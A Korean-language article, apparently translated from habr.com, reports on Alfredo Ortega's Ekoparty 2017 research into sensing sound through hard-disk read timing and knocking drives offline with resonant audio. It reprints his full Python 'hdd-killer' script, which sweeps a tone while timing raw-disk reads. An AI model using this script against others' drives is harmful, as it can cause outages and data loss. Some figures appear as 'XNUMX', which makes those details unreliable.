๋ถ์๋
ธ์ค์์ด๋ ์ค์์ ์ด๋ฆฐ Ekoparty 2017 ์ปดํจํฐ ๋ณด์ ์ปจํผ๋ฐ์ค์์ ์๋ฅดํจํฐ๋ ํด์ปค Alfredo Ortega๋ ๋ง์ดํฌ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ๊ฑด๋ฌผ์ ์๋ฐํ๊ฒ ๋์ฒญํ๋ ์์คํ
์ด๋ผ๋ ๋งค์ฐ ํฅ๋ฏธ๋ก์ด ๊ฐ๋ฐ์ ๋ณด์ฌ์ฃผ์์ต๋๋ค. ์๋ฆฌ
HDD๋ ์ฃผ๋ก ๊ณ ๊ฐ๋ ์ ์ฃผํ ์๋ฆฌ, ๋ฐ์๊ตญ ์๋ฆฌ ๋ฐ ๊ธฐํ ์ง๋์ ํฌ์ฐฉํฉ๋๋ค. ์ธ๊ฐ์ ๋ง์ ์์ง ์ธ์ํ ์ ์์ต๋๋ค.
์๋ฆฌ๋ ๊ณต๊ธฐ๋ ๋ค๋ฅธ ๋งค์ฒด์ ์ง๋์
๋๋ค. ์ฌ๋์ ์ง๋์ ๋ด์ด๋ก ์ ๋ฌํ๋ ๊ณ ๋ง์ ํตํด ์ด๋ฅผ ๊ฐ์งํฉ๋๋ค. ๋ง์ดํฌ๋ ๋๋ต ๊ท์ฒ๋ผ ์ค๊ณ๋์์ต๋๋ค. ์ฌ๊ธฐ์์๋ ์ง๋์ด ์์ ๋ง์ ๋
น์๋์ด ์ ๊ธฐ ์ถฉ๊ฒฉ์ ์๊ทนํฉ๋๋ค. ๋ฌผ๋ก ํ๋ ๋๋ผ์ด๋ธ๋ ์ฃผ๋ณ ๊ณต๊ธฐ์ ๋ณ๋์ผ๋ก ์ธํด ๋ฏธ์ธํ ์ง๋์ ๋ฐ๊ธฐ๋ ํฉ๋๋ค. ์ด๋ HDD์ ๊ธฐ์ ์ ํน์ฑ์ ํตํด์๋ ์๋ ค์ ธ ์์ต๋๋ค. ์ ์กฐ์
์ฒด๋ ์ผ๋ฐ์ ์ผ๋ก ํ์ฉ๋๋ ์ต๋ ์ง๋ ์์ค์ ํ์ํ๋ฉฐ ํ๋ ๋๋ผ์ด๋ธ ์์ฒด๋ ์ข
์ข
์ด๋ฅผ ๊ณ ๋ฌด ๋๋ ๊ธฐํ ์ ์ฐ ์ฌ๋ฃ๋ก ๋ง๋ ๋ฐฉ์ง ์ฉ๊ธฐ์ ๋ฃ์ผ๋ ค๊ณ ํฉ๋๋ค. ์ด๊ฒ์ผ๋ก HDD๋ฅผ ์ฌ์ฉํ์ฌ ์๋ฆฌ๋ฅผ ๋
น์ํ ์ ์๋ค๋ ๊ฒฐ๋ก ์ ๋ด๋ฆฌ๊ธฐ ์ฝ์ต๋๋ค. ๋จ์ ๊ฒ์ ๋ฐฉ๋ฒ์ ์์๋ด๋ ๊ฒ๋ฟ์
๋๋ค.
Alfredo Ortega๋ ์ฌ์ด๋ ์ฑ๋ ๊ณต๊ฒฉ์ ๋ ํนํ ๋ฒ์ , ์ฆ ์๊ฐ ๊ณต๊ฒฉ์ ์ ์ํ์ต๋๋ค. ์ด ๊ณต๊ฒฉ์ ์ฃผ์ด์ง ์ ๋ ฅ ๋ฐ์ดํฐ์ ๋ฐ๋ผ ์ฅ์น์์ ์๋ก ๋ค๋ฅธ ์์ ์ด ์๋ก ๋ค๋ฅธ ์๊ฐ์ ์ํ๋๋ค๋ ๊ฐ์ ์ ๊ธฐ๋ฐ์ผ๋ก ํฉ๋๋ค. ์ด ๊ฒฝ์ฐ "์ ๋ ฅ ๋ฐ์ดํฐ"๋ ์ฝ๊ธฐ ํค๋์ HDD ํ๋ํฐ์ ์ง๋์ด๋ฉฐ, ์ด๋ ํ๊ฒฝ์ ์ง๋, ์ฆ ์๋ฆฌ์ ๊ด๋ จ์ด ์์ต๋๋ค. ๋ฐ๋ผ์ ๊ณ์ฐ ์๊ฐ์ ์ธก์ ํ๊ณ ๋ฐ์ดํฐ์ ํต๊ณ์ ๋ถ์์ ์ํํจ์ผ๋ก์จ ํค๋/ํ๋ํฐ์ ์ง๋๊ณผ ๊ทธ์ ๋ฐ๋ฅธ ๋งค์ฒด์ ์ง๋์ ์ธก์ ํ ์ ์์ต๋๋ค. ๋ฐ์ดํฐ ์ฝ๊ธฐ ์ง์ฐ ์๊ฐ์ด ๊ธธ์ด์ง์๋ก HDD์ ์ง๋์ด ๊ฐํด์ง๊ธฐ ๋๋ฌธ์ ์๋ฆฌ๋ ์ปค์ง๋๋ค.
ํ๋ ๋๋ผ์ด๋ธ ์ง๋์ ์ธก์ ํ๋ ๋ฐฉ๋ฒ์ ๋ฌด์์
๋๊น? ๋งค์ฐ ๊ฐ๋จํฉ๋๋ค. ์์คํ
ํธ์ถ๋ง ์คํํ๋ฉด ๋ฉ๋๋ค. read ()
- ์๋ฃํ๋ ๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ์ ๊ธฐ๋กํฉ๋๋ค. ์ต์ ์ด์ ์ฒด์ ๋ฅผ ์ฌ์ฉํ๋ฉด ๋๋
ธ์ด ์ ํ๋๋ก ์์คํ
ํธ์ถ ํ์ด๋ฐ์ ์ฝ์ ์ ์์ต๋๋ค.
์นํฐ์์ ์ ๋ณด๋ฅผ ์ฝ๋ ์๋๋ ํค๋์ ํ๋ํฐ์ ์์น์ ๋ฐ๋ผ ๋ฌ๋ผ์ง๋ฉฐ ์ด๋ HDD ์ผ์ด์ค์ ์ง๋๊ณผ ๊ด๋ จ์ด ์์ต๋๋ค. ๊ทธ๊ฒ ๋ค์ผ.
๊ฐ๋จํ Kscope ์ ํธ๋ฆฌํฐ๋ฅผ ์ฌ์ฉํ์ฌ ํต๊ณ ๋ถ์์ ์ํํฉ๋๋ค. ๊ทธ๋ค์ด ๋งํ๋ฏ์ด ๋ ์ฐฝ์ ์ธ ๋ชจ๋ ๊ฒ์ ๊ฐ๋จํฉ๋๋ค.
Kscope ์ ํธ๋ฆฌํฐ(stat() syscall)
Kscope๋ ์์คํ
ํธ์ถ ์คํ ์๊ฐ์ ์์ ์ฐจ์ด๋ฅผ ์๊ฐํํ๋ ์์ ์ ํธ๋ฆฌํฐ์
๋๋ค. ์์ฒ
๋ณ๋์ ์ ์ฅ์์ read ()
.
HDD๋ฅผ ์ด์ฉํ ์ฌ์ด๋ ๋ น์ ์์ฐ, Kscope ์ ํธ๋ฆฌํฐ ์๋
๋ฌผ๋ก ์ด๋ฐ ์์ผ๋ก ์์ฑ์ ์ดํดํ ์๋ ์์ง๋ง HDD๋ ์ง๋ ์ผ์๋ก ๋งค์ฐ ์ ํฉํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ๋ฑ๋ฑํ ์ ๋ฐ์ ์ ๊ฑฐ๋ ๋งจ๋ฐ๋ก ์ฌ๋์ด ์ปดํจํฐ๋ฅผ ๊ฐ์ง๊ณ ๋ฐฉ์ ๋ค์ด๊ฐ ๊ฒฝ์ฐ ๋ฑ๋กํ ์ ์์ต๋๋ค. (์๋ง๋ ๊ณต๊ฒฉ์๊ฐ ๋ถ๋๋ฌ์ด ์ด๋ํ๋ฅผ ์ ๊ฑฐ๋ ๋ฐ๋ฅ์ ๋๊บผ์ด ์นดํซ์ด ๊น๋ ค ์์ผ๋ฉด HDD๋ ์ง๋์ ๋ฑ๋กํ ์ ์์ต๋๋ค.) ์ด๋ ํ์ธํด ๋ณผ ๊ฐ์น๊ฐ ์์ต๋๋ค). ์ปดํจํฐ๋ ๊นจ์ง ์ ๋ฆฌ๋ ๊ธฐํ ์ฌ๊ณ ๋ฅผ ๊ฐํ ์๋ฆฌ ๊ฐ๋๋ก ๋ฑ๋กํ ์ ์์ต๋๋ค. ์ฆ, ํ๋ ๋๋ผ์ด๋ธ๋ ์ผ์ข ์ ๋ฌด๋จ ์นจ์ ํ์ง ์์คํ ์ญํ ์ ํ ์ ์์ต๋๋ค.
HDD ํฌ๋ฌ
๊ทธ๋ฐ๋ฐ ๋น์ทํ ๊ธฐ์ ์ ์ฌ์ฉํ์ฌ ํ๋ ๋๋ผ์ด๋ธ๋ฅผ ๋นํ์ฑํํ ์ ์์ต๋๋ค. ์ฌ๊ธฐ์๋ง HDD์์ ์ง๋์ ์ ๊ฑฐํ์ง ์๊ณ ๋ฐ๋๋ก HDD์ ๊ณต๊ธ๋๋ ์ง๋์ ์์ฑํฉ๋๋ค. HDD ์ฃผํ์์ ๊ณต๋ช ํ๋ ์ฃผํ์๋ก ์คํผ์ปค์์ ์๋ฆฌ๋ฅผ ์ฌ์ํ๋ฉด ์์คํ ์ ๊ณง I/O ์ค๋ฅ๋ก ์ฅ์น๋ฅผ ๋๋๋ค(Linux ์ปค๋์ 120์ด ํ์ HDD๋ฅผ ์์ ํ ๋๋๋ค). ํ๋ ๋๋ผ์ด๋ธ ์์ฒด๊ฐ ๋ณต๊ตฌํ ์ ์๋ ์์์ ์ ์ ์ ์์ต๋๋ค.
Linux ์ปค๋์ Edifier r120u USB ์คํผ์ปค์ ์คํผ์ปค๋ฅผ ํตํด ๊ณต์ง ์ฃผํ์์ ์ฌ์ด๋๋ฅผ ์ ๋ฌํ ํ 19์ด ํ์ ํ๋ ๋๋ผ์ด๋ธ๋ฅผ ๊ป์ต๋๋ค. ์คํผ์ปค๋ ์ฝ 100/20 ์ ๋ ฅ(XNUMXmW ๋ฏธ๋ง)์ผ๋ก ์ผ์ง๋ฉฐ HDD์์ XNUMXcm ๋จ์ด์ง ๊ณณ์ ์์นํ๋ฉฐ ์ง๋์ ๊ฐํํ๊ธฐ ์ํด ํ
์ด๋ธ์ ๊ฒจ๋ฅํฉ๋๋ค. ํ๋ ์:
HDD์ ๋ํ ์ด๋ฌํ "๊ณต๊ฒฉ"์ด ์ผ์ ์ํ์์ ์์ ํ ์ฐ์ฐํ ๋ฐ์ํ๋ ๊ฒฝ์ฐ๊ฐ ์๋ค๋ ๊ฒ์ด ๊ถ๊ธํฉ๋๋ค. ์๋ฅผ ๋ค์ด, 2016๋
10์ ING ์ํ ๋ฐ์ดํฐ์ผํฐ๋ ์๋ฐฉ ํ๋ จ ์ดํ XNUMX์๊ฐ ๋์ ์ด์์ ์ค๋จํด์ผ ํ์ต๋๋ค.
๋ฐ์ดํฐ ์ผํฐ์ ํ๋ ๋๋ผ์ด๋ธ์์ ์ธ๊ฐ์ด ๋น๋ช ์ ์ง๋ฅด๋ ๋ชจ์ต. ์ง์ฐ ์๊ฐ ์ธก์
๊ณต๋ช ํ๋ ์๋ฆฌ๋ฅผ ์์ฑํ๊ธฐ ์ํด Alfredo Ortega๋ ๋ค์๊ณผ ๊ฐ์ Python ์คํฌ๋ฆฝํธ๋ฅผ ์์ฑํ์ต๋๋ค.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
์ถ์ฒ : habr.com